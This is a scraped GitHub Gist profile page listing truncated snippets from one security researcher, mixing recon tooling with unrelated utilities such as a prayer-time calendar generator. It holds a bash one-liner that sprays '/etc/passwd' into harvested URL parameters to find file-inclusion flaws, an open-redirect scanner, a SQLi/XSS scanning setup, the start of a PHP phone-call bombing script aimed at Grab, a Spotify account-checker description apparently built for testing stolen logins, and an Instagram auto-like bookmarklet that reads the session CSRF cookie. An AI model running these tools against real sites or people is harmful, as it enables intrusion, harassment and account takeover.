Skip to content

Instantly share code, notes, and snippets.

View dwisiswant0's full-sized avatar
💀
Bashturbation

Dwi Siswanto dwisiswant0

💀
Bashturbation
1.7k followers · 74 following
View GitHub Profile
@dwisiswant0
dwisiswant0 / bash_aliases.sh
Last active March 12, 2024 17:17
One-liner to get Open-redirect & LFI
lfi() {
gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
}
open-redirect() {
local LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
}
@dwisiswant0
dwisiswant0 / imsyakiah-ical.js
Last active March 12, 2024 11:43
const { writeFileSync } = require('fs');
const ics = require('ics');
const imsyakiah = {"status":1,"message":"Success","prov":"JAWA BARAT","kabko":"KAB. CIREBON","hijriah":"1445","tahun":"2024","data":{"1":{"tanggal":1,"imsak":"04:26","subuh":"04:36","terbit":"05:48","dhuha":"06:15","dzuhur":"11:59","ashar":"15:05","maghrib":"18:04","isya":"19:12"},"2":{"tanggal":2,"imsak":"04:26","subuh":"04:36","terbit":"05:48","dhuha":"06:15","dzuhur":"11:59","ashar":"15:06","maghrib":"18:03","isya":"19:12"},"3":{"tanggal":3,"imsak":"04:26","subuh":"04:36","terbit":"05:48","dhuha":"06:15","dzuhur":"11:59","ashar":"15:06","maghrib":"18:03","isya":"19:11"},"4":{"tanggal":4,"imsak":"04:26","subuh":"04:36","terbit":"05:47","dhuha":"06:15","dzuhur":"11:58","ashar":"15:06","maghrib":"18:02","isya":"19:11"},"5":{"tanggal":5,"imsak":"04:26","subuh":"04:36","terbit":"05:47","dhuha":"06:15","dzuhur":"11:58","ashar":"15:06","maghrib":"18:02","isya":"19:10"},"6":{"tanggal":6,"imsak":"04:26","subuh":"04:36","terbit":"05:47","dhuha":"0
@dwisiswant0
dwisiswant0 / st8out.sh
Last active February 17, 2024 16:48
St8out - Extra one-liner for reconnaissance
#!/bin/bash
#####
#
# St8out - Extra one-liner for reconnaissance
#
# Usage: ./st8out.sh target.com
#
# Resources:
# - https://github.com/j3ssie/metabigor
@dwisiswant0
dwisiswant0 / bom-grab.php
Created July 30, 2019 03:30
Bom Telpon Mhamank Grab
<?php
define("REST", 30);
date_default_timezone_set("Asia/Jakarta");
function randStr($l) {
$data = "abcdefghijklmnopqrstuvwxyz1234567890";
$word = "";
for ($a=0; $a<$l; $a++) $word .= $data{rand(0, strlen($data) - 1 )};
return $word;
}
@dwisiswant0
dwisiswant0 / spotiCheckAPI.v2.md
Last active October 8, 2023 19:36
Spotify Account Checker API v2

Spotify Account Checker API v2

Checking the Spotify account whether the login is valid or not.

  • Use POST http method.

What's new?

  • Getting information contains username
  • Getting information contains birthdate
  • Getting information contains country of origin
  • Getting information containing PO BOX
@dwisiswant0
dwisiswant0 / awto-view-like-ig-story.min.js
Created August 8, 2023 10:04
Auto view & like Instagram stories (minified + bookmarklet)
javascript:void(async function(){window.utils={isValidURL:e=>"www.instagram.com"!==e.host?(alert("Buka www.instagram.com lah, pekok."),!1):!!e.pathname.startsWith("/stories/")||(alert("Jangan diinterrupt, blok."),!1),emulateClick:e=>{const t=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0});e.dispatchEvent(t)},emulateNext:()=>{const e=new KeyboardEvent("keydown",{key:"ArrowRight",keyCode:39,code:"ArrowRight",which:39,bubbles:!0,cancelable:!0});document.dispatchEvent(e)},getKuki:e=>{const t=document.cookie.split(";");for(const i of t){const[t,o]=i.trim().split("=");if(t===e)return decodeURIComponent(o)}return null},sleep:e=>new Promise((t=>setTimeout(t,e))),fatalError:e=>{console.error("Failed to like the story.",e),alert("Waduh! Refresh gan."),window.location.replace("/")}},window.aing={token:utils.getKuki("csrftoken"),kirimLike:async (t)=>{const i=await fetch("/api/v1/story_interactions/send_story_like",{method:"POST",mode:"cors",credentials:"include",headers:{"content-type":"application/x-www-f
@dwisiswant0
dwisiswant0 / awto-view-like-ig-story.js
Last active August 8, 2023 09:43
Auto view & like Instagram stories
/**
* Tutor running script:
* 1. Buka beranda IG & login
* 2. Buka console browser
* 3. Paste script ini
* 4. Enter
* 5. Udah :P
*/
var utils = {
@dwisiswant0
dwisiswant0 / .bash_profile
Created May 27, 2020 07:38
SQLi & XSS Vulnerability Scanner
###
# ▶ go get -u github.com/lc/gau
# ▶ go get -u github.com/tomnomnom/qsreplace
# ▶ go get -u github.com/tomnomnom/hacks/kxss
# ▶ go get -u github.com/hahwul/dalfox
# ▶ git clone https://github.com/dwisiswant0/DSSS
###
gauq() {
@dwisiswant0
dwisiswant0 / passgen.sh
Created August 15, 2022 04:35
passgen() {
local L
[[ -z "${1}" ]] && L="12" || L="$1"
</dev/urandom strings | \
grep -o "\S*" | \
tr -d $"\n" | \
head -c "${L}"
echo
}
@dwisiswant0
dwisiswant0 / nuclei-scan.sh
Last active July 8, 2022 13:46
Automate nuclei for given hosts
#!/bin/bash
OUT="~/nuclei-results/$1"
TPL="~/nuclei-templates"
mkdir -p ${OUT}
SUB=$(subfinder -d $1 -silent | httprobe | tee ${OUT}/$1.txt)
cd ${TPL}; git pull origin master && cd -
for tpl in $(find $TPL -name "*.yaml"); do $GOPATH/bin/nuclei -l ${OUT}/$1.txt -t $tpl -o "${OUT}/$(basename "$tpl" .yaml).txt"; done
find ${OUT} -name "*.txt" -size 0 -delete